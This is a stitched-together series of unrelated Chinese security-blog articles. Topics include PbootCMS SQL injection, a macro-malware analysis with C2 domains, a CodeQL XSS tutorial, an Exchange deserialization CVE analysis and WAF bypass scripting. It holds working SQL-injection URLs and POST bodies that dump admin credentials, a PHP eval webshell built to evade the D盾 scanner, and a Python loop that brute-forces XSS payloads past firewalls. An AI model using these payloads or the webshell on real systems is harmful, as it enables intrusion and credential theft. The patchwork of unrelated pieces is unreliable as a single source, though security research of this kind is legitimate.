public function parserSpecifyListLabel($content)
{
...
// 数据筛选 骚操作注入
$where2 = array();
foreach ($_GET as $key => $value) {
if (substr($key, 0, 4) == 'ext_') { // 其他字段不加入
$where2[$key] = get($key);
}
}
...
// 读取数据
if ($page) {
$data = $this->model->getList($scode, $num, $order, $where1, $where2);
} else {
$data = $this->model->getSpecifyList($scode, $num, $order, $where1, $where2);
}
}
这里就将重要的方法分析一下了，其他无关的就删除掉避免影响阅读。
这里接收了外部了外部所有的get参数然后判断了开头的前4个字符是否 ext_ 开头，如果符合就直接拼接进入$where2这个数组
然后带入数据库进行getList方法与getSpecifyList查询，而底层是字符串拼接，过滤了value没有过滤key所以有注入
#### 0x08.4 前台搜索框注入
##### 0x08.4.1 漏洞利用
url:http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Search/index?keyword=aaaa&updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123
##### 0x08.4.2 漏洞讲解
文件地址：PbootCMS-V1.2.1\apps\home\controller\SearchController.php
方法：index(
// 骚操作 注入
// parserSearchLabel
public function index()
{
$content = parent::parser('search.html'); // 框架标签解析
$content = $this->parser->parserBefore($content); // CMS公共标签前置解析
$content = $this->parser->parserPositionLabel($content, 0, '搜索', url('/home/Search/index')); // CMS当前位置标签解析
$content = $this->parser->parserSpecialPageSortLabel($content, 0, '搜索结果', url('/home/Search/index')); // 解析分类标签
$content = $this->parser->parserSearchLabel($content); // 搜索结果标签
$content = $this->parser->parserAfter($content); // CMS公共标签后置解析
$this->cache($content, true);
}
文件地址：apps\home\controller\ParserController.php
方法：parserSearchLabel(
进入以后 查看调用了 $content = $this->parser->parserSearchLabel($content); 方法
// 解析内容搜索结果标签
public function parserSearchLabel($content)
{
...
foreach ($_GET as $key => $value) {
if (! ! $value = get($key, 'vars')) {
$where2[$key] = $value;
}
}
...
// 读取数据
if (! $data = $this->model->getList($scode, $num, $order, $where1, $where2, $fuzzy)) {
$content = str_replace($matches[0][$i], '', $content);
continue;
}
}
这里就将重要的方法分析一下了，其他无关的就删除掉避免影响阅读。
这里接收了外部了外部所有的get参数然后就直接拼接进入$where2这个数组
然后带入数据库进行getList方法查询，而底层是字符串拼接，过滤了value没有过滤key所以有注入
### 0x09 我是一句废话
我是用来调皮的
### 0x10 api模块注入
api模块的注入需要后端开启api功能，并且获得 api_appid 与 api_secret 才能注入。
或是说 开启了api功能并且关闭了API强制认证 这样也可以注入
所以较鸡助
#### 0x10.1 接口注入一
##### 0x10.1.1 漏洞演示
url:http://127.0.0.1/cms/PbootCMS-V1.2.1/api.php/cms/search?1%3D1)and(updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1))--=1
post：
11=11
一定要post 要跑空post才能进流程
因为系统中会把 “空格”转为“_” 所以使用/**/绕过即可
##### 0x10.1.2 漏洞讲解
路径：apps\api\controller\CmsController.php
方法：search(
这里我把漏洞触发点发出来我们主要讲讲他即可
// 数据接收
foreach ($_GET as $key => $value) {
if (! ! $value = get($key, 'vars')) {
$where[$key] = $value;
}
}
$data = $this->model->getList($acode, $scode, $num, $order, $where, $fuzzy);
从代码中看他会收集外部所有的 $_GET 带入 getList 进行入库查询 value
是我们无法控制所以无法注入的，可是key是我们可控制可注入的！！！跟进 getList方法
路径：PbootCMS-V1.2.1\apps\api\model\CmsModel.php
function getList(
// 列表内容
public function getList($acode, $scode, $num, $order, $where = array(), $fuzzy = true)
{
...
// 筛选条件支持模糊匹配
return parent::table('ay_content a')->field($fields)
->where($where1, 'OR')
->where($where2)
->where($where, 'AND', 'AND', $fuzzy)
->join($join)
->order($order)
->page(1, $num)
->decode()
->select();
}
这里我把关键代码放出来了，可以看到接收$where以后直接仍进了数据库进行操作造成了注入
#### 0x10.2 接口注入二
##### 0x10.2.1 漏洞利用
url：http://127.0.0.1/cms/PbootCMS-V1.2.1/api.php/cms/addmsg
post:
contacts[contentl`) VALUES ( updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1) );-- a] = 111
mobile = 111
content = 111
##### 0x10.2.2 漏洞讲解
文件：PbootCMS-V1.2.1\apps\api\controller\CmsController.php
方法：addmsg(
// 新增留言 注入
public function addmsg()
{
if ($_POST) {
// 读取字段
if (! $form = $this->model->getFormField(1)) {
json(0, '接收表单不存在任何字段，请核对后重试！');
}
// 接收数据
$mail_body = '';
foreach ($form as $value) {
$field_data = post($value->name);
if ($value->required && ! $field_data) {
json(0, $value->description . '不能为空！');
} else {
$data[$value->name] = post($value->name);
$mail_body .= $value->description . '：' . post($value->name) . '<br>';
}
}
// 设置其他字段
if ($data) {
$data['acode'] = get('acode', 'var') ?: $this->lg;
$data['user_ip'] = ip2long(get_user_ip());
$data['user_os'] = get_user_os();
$data['user_bs'] = get_user_bs();
$data['recontent'] = '';
$data['status'] = 0;
$data['create_user'] = 'api';
$data['update_user'] = 'api';
}
// 写入数据
if ($this->model->addMessage($value->table_name, $data)) {
$this->log('API提交表单数据成功！');
if ($this->config('message_send_mail') && $this->config('message_send_to')) {
$mail_subject = "【PbootCMS】您有新的表单数据，请注意查收！";
$mail_body .= '<br>来自网站' . get_http_url() . '（' . date('Y-m-d H:i:s') . '）';
sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
}
json(1, '表单提交成功！');
} else {
$this->log('API提交表单数据失败！');
json(0, '表单提交失败！');
}
} else {
json(0, '表单提交失败，请使用POST方式提交！');
}
}
可以看到，整个逻辑下来的意思就是说，查询出数据库一条数据，然后接收外部 POST 内容，只匹配数据库的字段，相同才会拼接到 $_data数组
然后就会带入 $this->model->addMessage(data) 执行语句
文件：PbootCMS-V1.2.1\apps\api\model\CmsModel.php
函数：addMessage(
// 新增留言
public function addMessage($table, $data)
{
return parent::table('ay_message')->autoTime()->insert($data);
}
根据6.0可以看到带入了进入了 insert 那么我们传的二维数组刚好可以控制key 带入数据库查询引发注入
#### 0x10.3 接口注入三
##### 0x10.3.1 漏洞利用
url：http://127.0.0.1/cms/PbootCMS-V1.2.1/api.php/cms/addform?fcode=1
post:
contacts[content`) VALUES ( updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1) );-- a] = 111
mobile = 111
content = 123
##### 0x10.3.2 漏洞讲解
// 表单提交 注入
public function addform()
{
if ($_POST) {
if (! $fcode = get('fcode', 'var')) {
json(0, '传递的表单编码fcode有误！');
}
// 读取字段
if (! $form = $this->model->getFormField($fcode)) {
json(0, '接收表单不存在任何字段，请核对后重试！');
}
// 接收数据
$mail_body = '';
foreach ($form as $value) {
$field_data = post($value->name);
if ($value->required && ! $field_data) {
json(0, $value->description . '不能为空！');
} else {
$data[$value->name] = post($value->name);
$mail_body .= $value->description . '：' . post($value->name) . '<br>';
}
}
// 设置创建时间
if ($data) {
$data['create_time'] = get_datetime();
}
// 写入数据
if ($this->model->addForm($value->table_name, $data)) {
$this->log('API提交表单数据成功！');
if ($this->config('message_send_mail') && $this->config('message_send_to')) {
$mail_subject = "【PbootCMS】您有新的表单数据，请注意查收！";
$mail_body .= '<br>来自网站' . get_http_url() . '（' . date('Y-m-d H:i:s') . '）';
sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
}
json(1, '表单提交成功！');
} else {
$this->log('API提交表单数据失败！');
json(0, '表单提交失败！');
}
} else {
json(0, '表单提交失败，请使用POST方式提交！');
}
}
可以看到，整个逻辑下来的意思就是说，查询出数据库一条数据，然后接收外部 POST 内容，只匹配数据库的字段，相同才会拼接到 $_data数组
然后就会带入 $this->model->addForm(data) 执行语句
文件：PbootCMS-V1.2.1\apps\api\model\CmsModel.php
方法：addForm(
// 新增表单数据
public function addForm($table, $data)
{
return parent::table($table)->insert($data);
}
根据6.0可以看到带入了进入了 insert 那么我们传的二维数组刚好可以控制key 带入数据库查询引发注入
### 0x11 admin模块漏洞
你都有前台这么多个洞了，怎么还要后台的洞？贪心可是不好的
: ) | 社区文章 |
## 0x01 Запит СБУ.docx文档分析
打开文档后，远程注入模板：
文档内容如下：
翻译后内容如下：
由图标也可以看出：
## 0x02 opt.dot模板分析
模板启用了宏，通过`olevba.py`导出后分析。
获取主机ComputerName及系统磁盘SerialNumber，并通过_拼接：
拼接URL及路径，后续的VBS脚本中会用到：
于启动目录新建一security.vbs：
余下所有都是向该VBS写入内容，不再赘述：
## 0x03 security.vbs分析
监测沙箱（如果沙箱跑25s，那么它此处延时就能达到反沙箱的目的）：
余下部分结构如下(其中红色方框部分经过处理)：
下面逐一进行分析。
使用XMLHTTP访问<http://skrembler[.]hopto[.]org/ComputerName_SerialNumber/tor.php。>
将其响应作为函数返回值。
随机QopZ个字符返回，用于后面的文件命名。
上图是Encode()函数主要功能。第一个参数FCkE是文本文件,内容CZeq()函数返回;第二个参数BGmO是要写入的EXE文件;
msKq是GetHKcc()函数返回的数组。该函数功能是将TXT文件内容经过异或操作之后写入EXE文件。
将传递给该函数的字符串中每个字符的ASCII码写入一数组返回。
该Sub功能是将参数内容写入TXT文件(即CZeq()函数返回值)，并判断大小：若小于1025，则删除该文件。之后调用Encode函数，将TXT文件内容写入EXE文件。如EXE文件存在，则于启动目录创建一VBS，内容如下(红色方框部分经过处理)：
循环前半部分功能见前文。后半部分是判断EXE文件数量，大于2则使用WMI重启，以达到执行启动目录内EXE文件的目的。
## 0x04 启动目录内EXE文件分析
实际是一SFX文件，其中包含如下文件：
#### 0x04.1 8957.cmd
文件内容如下：
去混淆后：
28847同样是一SFX文件，“ppfljk,fkbcerbgblfhs”是其解压密码。
#### 0x04.2 28847.exe分析
输入密码，解压后如下：
#### 0x04.3 6323.exe分析
.NET程序，使用dnSpy分析。结构如下：
其中有大量如下特征混淆代码：
去混淆后分析。各函数功能及调用关系如下：
BatJwAk()函数是将传递参数(以:分隔的十六进制ASCII码)转换为对应的字符串形式。
Main()函数于一循环中调用CYIxJzc()遍历10.0-17.0各个版本的Word、Excel注册表项。之后CYIxJzc()调用BcNIQrU()修改相应键值：
jYRcuEu()函数通过计算达到延时目的：
之后Main()调用cztXiVD(),遍历非系统盘下文件：
llpJYEs()首先读取路径存放宏代码的TXT文件：
之后判断文件是否符合指定条件(非系统文件,扩展名包括.doc/.xls):
llpJYEs()之后调用zrdMiQo()，复制文件内容到一新文件(新文件名称比原文件多一空格)后删除原文件，并将新文件复制到原目录下：
zrdMiQo()之后调用cBtQGAf()函数向新文件内写入宏。该函数根据传递的第四个Bool参数值执行相关的写入宏代码，True:
False:
cBtQGAf()函数在执行写入操作之前会调用hXblmtN()函数Kill "EXCEL"、"WINWORD"进程：
#### 0x04.4 wordMacros.txt分析
两份宏代码不同之处只有如下3点：
其余不同点只是字符串拼接方式的不同，故只分析其中之一。
功能大体与opt.dot模板内宏代码相同，但是增添了修改注册表功能：
不同的URL：
创建一VBS，其功能是设置定时任务：
余下代码是于`%AppData%\Microsoft\Office`目录下创建IndexOffice.vbs文件，并写入内容，该VBS功能与security.vbs功能近似，不再赘述。
## 0x05 Hashes && URL
* Запит СБУ.docx:C0DC0C23E675D0C380E243FB36EE005E
* opt.dot:689FAB7A016DAE57300048539A4C807E
* 107010D9E4FF8436F872F17A2B13BBE4
* AF19975E1450D0CA7C4533F11D5E67D2
* 4286A15469AE50182CEA715ED6FA4109
* <http://masseffect[.]space/>
* <http://dochlist[.]hopto[.]org/opt.dot>
* <http://skrembler[.]hopto[.]org> | 社区文章 |
**Author：w7ay@Knownsec 404 Team**
**Time: November 20, 2019**
**Chinese version:<https://paper.seebug.org/1078/> **
QL is an object-oriented query language used to retrieve data from relational
database management systems. It supports C/C++, C#, Java, JavaScript, Python
and Go.
I have made simple research on finding XSS through JavaScript semantic
analysis before, so I have a strong interest in this engine.
## Installation
1.Download analyzer program：<https://github.com/github/codeql-cli-binaries/releases/latest/download/codeql.zip>
The Analyzer program supports the major operating systems such as Windows,Mac
and Linux.
2.Download the core library files：<https://github.com/Semmle/ql>
The library files are open source, and what we're going to do is write QL
scripts based on them.
3.Download the latest version of VScode and install the CodeQL
extension：<https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql>
* With the extension of vscode, we can easily analyze the code
* Then go to the extension center to configure the parameters
4\.
* Cli to fill in the executable path. Windows can use codeql.cmd
* Other options by default
## Create A Database
Take JavaScript as an example - to build an analysis database is to analyze
the source code. To do this, we have to get to the root directory and run the
command `codeql database create jstest --language=javascript`
Then a folder named 'jstest' will be created in that directory, which is the
database folder.
Then open the previously downloaded ql library file with vscode, add the
database file into the ql selection folder, and set it as the current
database.
Then create a test.ql in the QL/javascript/ QL/ SRC directory for the QL
script. Why do we create a file in this directory? Because `import javascript`
cannot be imported when it is tested elsewhere. In this directory,
`javascript.qll` is the base class library.
The library file basically supports every library used in JavaScript and every
defined syntax in any other language.
Print 'Hello world'
## Principle of Semantic Analysis Search
At first you may find ql a bit strange. Why is it designed this way? Then I
have to talk about my previous research on how to find dom-xss based on
JavaScript semantic analysis.
First, a piece of javascript code like this
var param = location.hash.split("#")[1];
document.write("Hello " + param + "!");
The general idea is that we first find the `document.write` function and trace
back with its first argument. If it ends up with `location.hashed. Split
("#")[1]` then it means we have made it. We can call `document.write` `sink`
and `location.hash.split` `source`. Semantic analysis is the process of
finding `source` from sink (and vice versa, of course).
Based on this, we need to design a tool to understand the code context which
the traditional regular search unable to.
The first step is to use `pyjsparser` to convert the JavaScript code into a
syntax tree.
from pyjsparser import parse
import json
html = '''
var param = location.hash.split("#")[1];
document.write("Hello " + param + "!");
'''
js_ast = parse(html)
print(json.dumps(js_ast)) # It outputs in python's dict format, which we convert to json for easy viewing
You end up with the following tree structure
Some definitions of tree structure can be
referenced：<https://esprima.readthedocs.io/en/3.1/syntax-tree-format.html>
The variable `param` is `Identifier` type, and its initial definition is a
`MemberExpression` expression, which is actually a `CallExpression`
expression. The parameter of `CallExpression` expression is `Literal` type,
and its specific definition is a `MemberExpression` expression.
Second, we need to design a recursion to find every expression, every
`Identifier`, every `Literal` type, and so on. We need to convert the previous
`document.write` into a syntax tree。
{
"type":"MemberExpression",
"object":{
"type":"Identifier",
"name":"document"
},
"property":{
"type":"Identifier",
"name":"write"
}
}
`location.hash` is the same
{
"type":"MemberExpression",
"object":{
"type":"Identifier",
"name":"location"
},
"property":{
"type":"Identifier",
"name":"hash"
}
}
After we find these `sink` or `source`, we need to make forward or reverse
retrospective analysis. Retrospective analysis can also encounter many
problems, such as how to handle the transfer of objects and parameters. I have
wrote an online [demo](http://xss.hacking8.com/) based semantic analysis
before.
## QL Syntax
Although QL syntax hides the details of the syntax tree, it provides many
concepts like `class`, `function` to help us find the relevant `syntax`.
Take the following code as an example
var param = location.hash.split("#")[1];
document.write("Hello " + param + "!");
Now that we have created the database, let's see how to find sink and source
respectively, and how to find the relationship between them.
I have also read its document: <https://help.semmle.com/QL/learn-ql/javascript/introduce-libraries-js.html> My query statements are all based
on the syntax tree query. There were a lot of convenient functions but I
didn't look it through carefully, so it may have a better method for it .
### Query document.write
import javascript
from Expr dollarArg,CallExpr dollarCall
where dollarCall.getCalleeName() = "write" and
dollarCall.getReceiver().toString() = "document" and
dollarArg = dollarCall.getArgument(0)
select dollarArg
Find document.write and output its first argument.
### Query location.hash.split
import javascript
from CallExpr dollarCall
where dollarCall.getCalleeName() = "split" and
dollarCall.getReceiver().toString() = "location.hash"
select dollarCall
### Data Flow Analysis
Then find `source` from `sink`. Combine the above statements as the official
document says.
class XSSTracker extends TaintTracking::Configuration {
XSSTracker() {
// unique identifier for this configuration
this = "XSSTracker"
}
override predicate isSource(DataFlow::Node nd) {
exists(CallExpr dollarCall |
nd.asExpr() instanceof CallExpr and
dollarCall.getCalleeName() = "split" and
dollarCall.getReceiver().toString() = "location.hash" and
nd.asExpr() = dollarCall
)
}
override predicate isSink(DataFlow::Node nd) {
exists(CallExpr dollarCall |
dollarCall.getCalleeName() = "write" and
dollarCall.getReceiver().toString() = "document" and
nd.asExpr() = dollarCall.getArgument(0)
)
}
}
from XSSTracker pt, DataFlow::Node source, DataFlow::Node sink
where pt.hasFlow(source, sink)
select source,sink
Print source and sink, and you'll find their specific definitions.
Here is the sample we found
Its backtracking is based on the return value of the function.
Some difficulties may get in our way, and Ql official has provided solutions
to solve them. In short, we should refine and improve the ql query code.
There are examples of queries that are not so accurate, and you can try to
make them accurate.
var custoom = location.hash.split("#")[1];
var param = '';
param = " custoom:" + custoom;
param = param.replace('<','');
param = param.replace('"','');
document.write("Hello " + param + "!");
quora = {
zebra: function (apple) {
document.write(this.params);
},
params:function(){
return location.hash.split('#')[1];
}
};
quora.zebra();
## Summary
CodeQL pulls out the syntax tree and provides a way of using code to query
code, increasing flexibility based on data analysis. The only regret is that
it doesn't provide many rules for vulnerability query and we have to write on
our own. It also reminds me of fortify, another powerful semantics-based code
auditing tool. There may be some differences if we combine these two together.
Github announced that CodeQL would be used to search for problems in open
source projects, and security researchers may use it to do something similar?
* * * | 社区文章 |
### 前言
* * *
今天在逛论坛时，遇到一个坛友，分享了一个shell过D盾的思路，满好玩的，分析下。
### 原贴
* * *
首先来看下D盾扫描结果。
以前的思路常规，就是定义一个变量b：`$b='';`为空，`$b = null;`，`$b = "\n";`然后变量a： `$a =
$_GET['1'];`，`eval($a.$b);`，或者`eval($b.=$a);` 。但是现在这种方法基本报一级或者直接杀，查出某个变量。
<?php
$m=$_GET['1'];
$a=substr($m,0,1);
$b=substr($m,1,9999);
eval($a.$b);
?>
而今天这个论坛看到的，思路有趣。
`substr()`函数返回字符串的一部分，例如：
<?php
$m='s9mf';
$b=substr($m,0,4);
echo $b;
// 代码运行返回s9mf
`$a=substr($m,0,1);`返回第一个字符`$` `$b=substr($m,1,9999);` 相当于`$b=_GET['1'];`
然后eval括号内拼接组合。
### mb_substr
* * *
mb_substr和substr特性类似，也可以用mb_substr，一样过D盾。
<?php
$m=$_GET['1'];
$a=mb_substr($m,0,1);
$b=mb_substr($m,1,9999);
eval($a.$b);
?>
### 参考
<https://www.t00ls.net/thread-50755-1-1.html> | 社区文章 |
# Exchange漏洞分析（二）：反序列化代码执行漏洞（CVE-2021–42321）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：雨夜
## 0x00前言
微软公布了一个反序列化代码执行漏洞，[CVE-2021-42321](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321)，经过身份认证的攻击者可以通过EWS接口将payload写入UserConfiguration中，并通过GetClientAccessToken触发payload从而在目标服务器上执行代码。本篇通过对POC的跟踪分析漏洞的利用过程。
漏洞影响：
Microsoft Exchange Server 2019 CU10/CU11
Microsoft Exchange Server 2016 CU21/CU22
分析环境：
Server 2016
Exchange 2016 CU21
(由CU15[升级](https://download.microsoft.com/download/7/d/5/7d5c319b-510b-4a2c-a77a-099c6f30ab54/ExchangeServer2016-x64-CU21.ISO)到CU21)
## 0x01补丁查看
<https://www.catalog.update.microsoft.com/Search.aspx?q=exchange%202016%20cu21>
KB5007012 是在10月份发布的，通过两个补丁的对比查看修改了哪些文件。
使用Telerik
对比[KB5007409](https://www.catalog.update.microsoft.com/ScopedViewInline.aspx?updateid=c65f8a4e-66a7-483a-b156-4a19902797a6)、[KB5007012](https://www.catalog.update.microsoft.com/ScopedViewInline.aspx?updateid=4af0ef18-9baa-4e06-81b6-86ed4f138f5c)
的不同，一共有几百个不同的DLL文件，为了快速找到漏洞点，搜索反序列化的关键字
Microsoft.Exchange.Compliance.dll中发现删除了几个class，
可以看到
TypedBinaryFormatter、TypedSerializationFormatter、TypedSoapFormatter这几个class里有反序列化的操作，同时在最新补丁中被删除。
## 0x02漏洞分析
网上已有payload，我们就利用payload分析漏洞的整个利用过程
dnSpy设置断点，附加到进程 w3wp.exe的MSExchangeServicesAppPool
中（如果不知道是哪个进程，可以将所有的w3wp.exe进程全部附加进去）
使用ysoserial构造反序列化数据，gadget 使用 TypeConfuseDelegate
运行payload，断点停住
调用堆栈如下：
漏洞调用链
进入LoadMasterTable，解析UserConfiguration 的信息（UserConfiguration可以通过EWS接口操作）
通过 参数 configName，configType，folderId获取对应配置信息
参数值如下
接着进入Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer
类中对userConfiguration进行反序列化操作
Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer
首先将配置信息实例化成一个 stream对像，
Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer
其中formatter是IClientExtensionCollectionFormatter的实例化对象，
调用IClientExtensionCollectionFormatter.Deserialize函数
Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter
接着将steam内容传入TypeBinaryFormatte.DeserializeObject中，执行反序列化
Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter
调用 TypeBinaryFormatter类的Deserialize 方法，创建一个ChainedSerializationBinder对象
Microsoft.Exchange.Diagnostics.ExchangeBinaryFormatterFactory
传入allowList参数是一个白名单列表，内容如下：
白名单中允许使用System.DelegateSerializetionHolder
ChainedSerializationBinder实现方法如下
Microsoft.Exchange.Diagnostics.ChainedSerializationBinder
其中定义了一个gadget黑名单列表，包含了常用的gadget
但由于开发者的失误，导致其中一个gadget黑名单没有生效，正确的写法是System.Security.Claims.ClaimsPrincipal
，所以我们可以利用这个gadget进行反序列化攻击。
objectReader初始化后，调用ObjectReade.Deserialize方法
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
接着会有一个白名单和黑名单的验证，如果不合法直接抛出异常
Microsoft.Exchange.Diagnostics. ChainedSerializationBinder
验证通过后，经过一系列操作进入System.Collections.Generic.SortedSet.OnDeserialization中，获取array的值并进行Add操作
System.Collections.Generic.SortedSet.OnDeserialization
在Add函数里，会对array中的两个元素进行Compare（System.Collections.Generic.ComparisonComparer）操作
Compare的过程中会调用System.Diagnostics.Process创建进程，从而执行命令。
payload分析：
利用EWS（Exchange Web
Service微软提供的一个访问Exchange资源的接口）写入用户配置信息，写入的时候将payload写进去；写入前需要先将旧的配置信息删掉，删除的时候需要传入参数folderId的值；
这个值可以通过 GetFolder 获取 ；最后利用GetClientAccessToken 触发反序列化
1) [GetFolder](https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/getfolder-operation)
2) DeleteUserConfiguration
3) CreateUserConfiguration（写入生成的序列化数据）
从官方文档可知 UserConfigurationType有5中类型，由于反序列化数据是流式的，所以使用BinaryData。
4) [GetClientAccessToken](https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/getclientaccesstoken-operation)
运行结果如下：
注：另一个gadget，System.Security.Claims.ClaimsPrincipal经过测试也是可用的。
## 0x03解决方案
微软已经针对该漏洞发布了补丁，补丁链接：https://www.microsoft.com/en-us/download/details.aspx?id=103645
## 0x04参考链接：
<https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852>
<https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398>
<https://docs.microsoft.com/en-us/previous-versions/office/developer/exchange-server-2010/dd899825(v=exchg.140)>
<https://docs.microsoft.com/zh-cn/exchange/client-developer/web-service-reference/userconfiguration>
微信公众号搜索“云影实验室”。
顺便插下招聘广告，安全研究员2名和安全开发工程师1名，有意者可以私信公众号。 | 社区文章 |
_web应用防火墙一般部署在web服务器前面，用来过滤来自服务器的恶意流量。如果你被某些公司雇佣为渗透人员，同时他们忘记告诉你他们使用了web应用防火墙，这可能会使你在渗透时遇到极大困阻。下面的插图会向你描述简单的web应用防火墙的原理。_
很明显防火墙就像web流量和web服务器之间的一堵墙，通常现代的web应用防火墙都是基于签名的。
# 什么是基于签名的防火墙
在基于签名的防火墙中，你可以定义签名。因为你知道web攻击遵从着类似的模式或签名。所以我们可以定义匹配模式然后屏蔽攻击。例如：
payload: -<svg><script>alert`1`<p>
上面定义的payload是一种跨站脚本攻击，我们知道所有这种攻击都带有以下这种子字符串`->"<script>"`,因此我们可以定义一种签名屏蔽含有这种子字符串的web流量。我们可以定义2-3种签名，如下：
1. <script>
2. alert(*)
第一个签名规则会屏蔽任何带有`<script>`字符串的请求，第二个规则会屏蔽带有alert()的请求。那么这就是基于签名的防火墙工作原理。
# 如何判断防火墙的存在？
[
如果你正在进行渗透测试并且不知道防火墙对流量进行了屏蔽，这将浪费你许多时间，因为大多数时候你的攻击payloads被防火墙屏蔽而不是应用程序代码，最后你可能会停止测试得出结论：你所测试的应用很安全然后可以发布了。因此，在渗透测试之前先对web应用防火墙的存在进行测试是个好主意。
大多数现代的防火墙都会留下他们自己的痕迹，假设你使用了上面的payload对web应用进行了攻击，并且得到了如下的响应:
HTTP/1.1 406 Not Acceptable
Date: Mon, 10 Jan 2016
Server: nginx
Content-Type: text/html; charset=iso-8859-1
Not Acceptable!Not Acceptable! An appropriate representation of the
requested resource could not be found on this server. This error was generated by <strong>Mod_Security</strong>.
很明显你的攻击被_Mod_security_防火墙屏蔽了。在本文中，我们会认识到如何开发简单的python脚本去完成防火墙探测和绕过的任务。
# 第一步：创建html文档和php脚本！
创建带有注入点的html文档和对应数据处理的php脚本是一定的。我们使用下面的文档：
**HTML文档**
<html>
<body>
<form name="waf" action="waf.php" method="post">
Data: <input type="text" name="data"><br>
<input type="submit" value="Submit">
</form>
</body>
</html>
**php脚本**
<html>
<body>
Data from the form : <?php echo $_POST["data"]; ?><br>
</body>
</html>
# 第二步：准备恶意请求！
探测防火墙的第二步是构造一个会被防火墙屏蔽的恶意跨站脚本攻击请求。我们会使用一个叫做’Mechanize’的python模块，如果想进一步了解该模块请阅读下面这篇文章：
[Automate Cross Site Scripting (XSS) attack using Beautiful Soup and
Mechanize](http://cyberpersons.com/2016/12/04/automate-cross-site-scripting-xss-attack-using-beautiful-soup-mechanize/)
如果你已经了解Mechanize，你可以跳过这篇文章。既然你已经了解Mechanize，那我们可以通过下面的代码来实现选择任意页面上的表单来提交请求。
import mechanize as mec
maliciousRequest = mec.Browser()
formName = 'waf'
maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
maliciousRequest.select_form(formName)
接着开始逐行分析吧：
1. 第一行我们引进了mechanize模块同时取了个短别名’mec’，便于以后引用
2. 为了使用mechanize爬去网页，必须实例化browser。我们在第二行代码中完成了这个动作。
3. 在第一步中，我们创建了html文档，文档中有个名为waf的表单。我们需要告诉mechanize选择这个表单提交，所以我们将’waf’这个名字存储为formname变量名。
4. 接着打开这个url，就像我们在浏览器里做的那样。在页面打开后，我们填写表单并且提交数据。
5. 最后我们使用’select_form’函数选择表单，在这里接受’formName’变量作为实参。
正如你在html源码中看到的，表单只有一个输入区，所以我们打算在那写入payload。一旦收到了响应，我们就立刻检查字符串去判断是否存在防火墙。
# 第三步: 准备payload
在我们的html文档中，我们使用了下面的代码定义了一个输入栏:
`<input type="text" name="data"><br>`
很明显输入栏的名字是’data’，我们可以通过下面简短的代码去填写空白栏:
crossSiteScriptingPayLoad = "<svg><script>alert`1`<p>"
maliciousRequest.form['data'] = crossSiteScriptingPayLoad
1. 第一行将payload保存在变量中
2. 第二行将payload变量分配给表单输入栏’data’
现在可以安全提交表单，然后观察响应。
# 第四步：提交表单，记录响应
我打算在下面介绍的代码将会提交表单数据并记录响应：
maliciousRequest.submit()
response = maliciousRequest.response().read()
print response
1. 提交表单
2. 将响应保存在变量中
3. 打印显示响应
因为我现在还没安装防火墙，所以我得到的请求是这样的:
[
正如你所见的，payload回显出来了，这意味着应用的代码没有任何过滤，同时也因为没有防火墙我们的请求没有被屏蔽。
# 第五步：检测防火墙的存在
变量名’response’存储着从服务器返回的响应，我们可以通过响应来判断防火墙的存在。在本文中我们将去检测以下几款防火墙的存在。
1. WebKnight
2. Mod_Security
3. Dot Defender
让我们看看如何用python代码实现：
if response.find('WebKnight') >= 0:
print "Firewall detected: WebKnight"
elif response.find('Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.find('Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.find('dotDefender') >= 0:
print "Firewall detected: Dot Defender"
else:
print "No Firewall Present"
如果安装了Web
Knight防火墙并且我们的请求被屏蔽了，响应字符中将会存在WebKnight，所以find函数的返回值会大于0，这意味着WebKnight存在。同样的，另两块防火墙也可以用同样的方法检测。我们可以扩展这个小程序去检测许多其他防火墙，但前提是你得知道响应行为。
# 使用暴力破解绕过防火墙
在文章的开始我提到过多数防火墙都是基于签名来屏蔽请求的。但是你构造payload的方法可能有成千上百种。因为Javascript越来越复杂，我们可以构造一系列payload并逐一的尝试，同时记录下所有响应，接着判断能否绕过防火墙。请注意如果防火墙规则制定比较完善，则这个方法可能行不通。接着看看用python如何爆破：
listofPayloads = ['<dialog open="" onclose="alert(1)"><form method="dialog"><button>Close me!</button></form></dialog>', '<svg><script>prompt( 1)<i>', '<a href="javascript:alert(1)">CLICK ME<a>']
for payLoads in listofPayloads:
maliciousRequest = mec.Browser()
formName = 'waf'
maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
maliciousRequest.select_form(formName)
maliciousRequest.form['data'] = payLoads
maliciousRequest.submit()
response = maliciousRequest.response().read()
if response.find('WebKnight') >= 0:
print "Firewall detected: WebKnight"
elif response.find('Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.find('Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.find('dotDefender') >= 0:
print "Firewall detected: Dot Defender"
else:
print "No Firewall Present"
1. 第一行定义了含有3个payload的列表，你可以按需扩展。
2. 接着在for循环中，我们重复了之前所做的动作。
